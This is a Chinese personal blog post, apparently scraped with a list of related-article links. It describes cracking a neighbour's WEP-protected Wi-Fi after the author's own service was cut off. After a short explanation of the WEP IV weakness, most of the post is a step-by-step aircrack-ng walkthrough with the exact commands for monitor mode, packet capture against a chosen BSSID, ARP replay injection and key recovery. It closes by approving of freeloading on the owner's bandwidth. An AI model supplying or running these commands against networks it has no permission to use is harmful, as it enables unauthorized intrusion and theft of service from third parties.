没钱交网费,断网了。只能打开wiki扫描,碰碰运气,看看能不能找到没加密的。结果没有,但却发现有用wep加密的热点信号不错,而且经常在线。印象中,wep是不安全的加密方式,但不清楚是不是用不靠谱的字典方式暴力破解。

用手机查了一下,发现有靠谱的破解方法,开搞!

左图:

  • IV 初始向量,随机生成。
  • PASSWORD用户密码。我们的破解目标
  • KSA 和 PRGA 简单理解为一个加密函数就行。
  • DATA 为我们要传输的数据
  • CRC-32为DATA的校验码,为明文的完整性校验值。实际上跟这里的破解无关,可以忽略。
  • PRGA=RC4(KSA)

简化版就是 加密数据 = f (原数据, IV, 密码)

右图:

解出IV,然后加上客户端知道的密码,生成解密算法,然后跟密文xor一下即可。

要点就是

  • IV随机生成,会变化的,而且是明文传输。
  • 加密算法有缺陷,导致可以根据IV反推密码。

因为不是专门搞这块的,细节就不想去深究了。

参考资料

http://zhaoxiaobu.blog.51cto.com/878176/254633

http://www.2cto.com/kf/201204/126344.html

http://itbbs.pconline.com.cn/network/11090686.html


下面讲破解,搜了一些教程,命令各不相同,所以自己总结了下。工具请先到有网络的地方下载

/* 命令的参数为了明显一点我用【中括号】括起来了,使用时注意替换为自己对应的值。*/

0.安装工具。我用的是ubuntu。没有linux的环境的看看网上介绍的backtrack5或者beini。

sudo apt-get install aircrack-ng

1.查看自己的网卡接口,一般是wlan0;顺便记下自己网卡的地址备用。

ifconfig

2.开启网卡监控模式,最后一个参数是频道,可以不加。失败的话再加上试试。成功时会看到(monitor mode enabled on mon0),mon0就是启动的接口名

sudo airmon-ng start 【wlan0】 【1】

3.看看有哪些采用wep加密的AP在线,然后按 ctrl+c 可以退出。注意,wep加密的才行,同时还能看到bssid(网卡地址)和ch(频道),不清楚这个ch跟上面启动时指定的ch有没关系。

sudo airodump-ng 【mon0】

4.抓取数据包写入文件

sudo airodump-ng -c 【6】 --bssid 【MAC】 -w 【wep】 【mon0】

-c 和 --bssid 两个参数是上面的步骤获取的。
-w 是输出的文件名,会有对应的*.cap *.csv等文件
mon0 名字跟第三步对应

注意看#data的数值。它代表了我们迄今一共抓取到的有用的数据包数量。运气好的话它应该是在一直增长的,即使可能很慢。老实说我们需要大概5000-25000个才能破解密码。

5.数据包太少就自己注入(可选步骤) /* 我的机器上运行不成功,google了一了,好像是得装bt5之类的linux版本才行。*/
aireplay-ng --arpreplay -b 【bssid】 -h 【自己网卡mac】 【mon0】

6.当收集的数据包数量达到5000后,我们就可以开始破解这些包了。打开一个新终端,输入(原来抓包的终端不用停,让它继续跑):
aircrack-ng -z -b 【bssid】 【wep.cap】

破解速度很快,我跑的结果不到一分钟就出来了 Tested 9 keys (got 42637 IVs)
然后把下面key found 那个字段去掉标点符号就是密码了。

比如 34:f2:a3:d4:e4  -> 34f2a3d4e4

估计不是用户的原始密码,只是最后算出来的数值跟用户的密码一致。

7.打完收工 关闭监控模式

sudo airmon-ng stop 【mon0】

参考文章

http://www.geekfan.net/1713/

http://blog.163.com/prettysnail@126/blog/static/112327390201006113256824/

注意控制自己的带宽,不要影响原来主人正常上网。  提供宽带利用率,不亦乐乎!

wep加密破解原理简述 实战相关推荐

  1. 无线路由器WEP加密破解--蹭网(转)

    前几天在朋友家里看到本本上有无线信号,当时也没有想过说要蹭人家的网,今天在网上看了一个新闻说是现在蹭网族很多,所以就在网上找了找,很快就找到了这个网页,人家写的还真不错.可以学习.正所谓道高一尺魔高一 ...

  2. 如何破解无线路由器密码,如何破解WEP密码,破解无线路由器

    近些年无线技术发展迅速,越来越多的用户使用无线设备在自己家建立起无线网络,通过搭建无线网络可以在家里的每个角落使用笔记本和无线网卡访问internet.有很多文章都向大家介绍了无线安全之中的通过设置W ...

  3. 无线WiFi安全渗透与攻防(五)之aircrack-ng破解WEP加密

    系列文章 无线WiFi安全渗透与攻防(一)之无线安全环境搭建 无线WiFi安全渗透与攻防(二)之打造专属字典 无线WiFi安全渗透与攻防(三)之Windows扫描wifi和破解WiFi密码 无线WiF ...

  4. Spoonwep破解wep加密无线路由密码

    今天下午,正当我用一个没加密的无线蹭网时,一个同样名字同样频段的wep加密路由出现,信号比较强,干扰很大,让我很是不爽,于是决定破掉它.但是这里注意的是,只对wep加密的有效(现在很多的基本默认都是w ...

  5. 【转】使用bt4(Backtrack)破解无线路由(无线网络/无线AP)密码/wep加密/Aircrack-ng

    前言 本教程,目的是让大家可以了解破解无线网络的方式,提高安全意识,加强网络安全.请不要用于非法目的. 另外,在互联网上,有太多的方法知道你是谁,不要以为用别人的AP就没法找得到你. 软件安装 使用b ...

  6. 用BackTrack 5破解无线网络wep加密3分钟教程

    Backtrack一直都被当作WEP密码破解的首选系统, BackTrack 5和之前的BackTrack 3和BackTrack 4一样集成了破解无线密码的工具并且支持更多型号的网卡. 3分钟破解一 ...

  7. 无线WiFi安全渗透与攻防(六)之WEP破解-Gerix-wifi-cracker自动化破解WEP加密

    系列文章 无线WiFi安全渗透与攻防(一)之无线安全环境搭建 无线WiFi安全渗透与攻防(二)之打造专属字典 无线WiFi安全渗透与攻防(三)之Windows扫描wifi和破解WiFi密码 无线WiF ...

  8. kali系统破解WPA密码实战

    上次发布过一篇在OSX系统破解WIFI密码的教程, 这次发布一篇使用kali破解wifi的教程 WEP和WPA/PSK的区别 WPA/PSK的加密方式相对于WEP的加密方式更加安全,WEP是一种老式的 ...

  9. WEP自动破解工具wesside-ng

    WEP自动破解工具wesside-ng wesside-ng是aircrack-ng套件提供的一个概念验证工具.该工具可以自动扫描无线网络,发现WEP加密的AP.然后,尝试关联该AP.关联成功后,它会 ...

最新文章

  1. Verilog初级教程(23)Verilog仿真中的显示任务
  2. 定义python的色条_Python:定义颜色曲线部分
  3. Windows上卸载SqlServer数据库
  4. Fiddler插件开发 - 实现网站离线浏览功能
  5. java.util.concurrent 多线程框架---线程池编程(四)
  6. Python+pandas实现时间序列数据扩展案例一则
  7. FT计算机系统,芯片CP/FT测试的基本概念理解
  8. apache实现手机访问www网站自动跳转到WAP站点
  9. System.Trunc、System.Round、System.Int - 返回整数部分
  10. JavaSE基础——Java多线程(2)
  11. mysql备份 php_详解MYSQL的备份还原(PHP实现)
  12. linux系统开启端口命令
  13. grafana快速搭建数据平台
  14. 陕西省咸阳市谷歌高清卫星地图下载
  15. mysql姓氏笔画排序_php根据姓氏笔画排序怎么做
  16. 微信小程序经典案例开发(微信开发)
  17. 面试专题:QTrade(苹果树)面试复盘
  18. 腾讯云 wafer2 上手,轻松部署小程序后端!
  19. HDU -1704 Rank——floyd
  20. Ubuntu安装pcb制图工具

热门文章

  1. Android 的Recovery机制【转】
  2. 操作系统---设备管理(软设)
  3. 哈夫曼树构造过程及最优证明
  4. 【Linux】如何在保存后退出VIM编辑器
  5. 关于扇区、簇、块、页等概念的区分
  6. Python绘图初体验
  7. windows环境安装好了virtualenvwrapper,pycharm中workon命令用不了
  8. EZEMC测试软件_emc仿真软件下载-emc仿真软件(测试电磁兼容性) 15.0.1 中文免费版[百度网盘资源] - 河东下载站...
  9. jquery ajax循环调用,每个循环jQuery中的Ajax调用
  10. 电脑开机自动开启程序的方法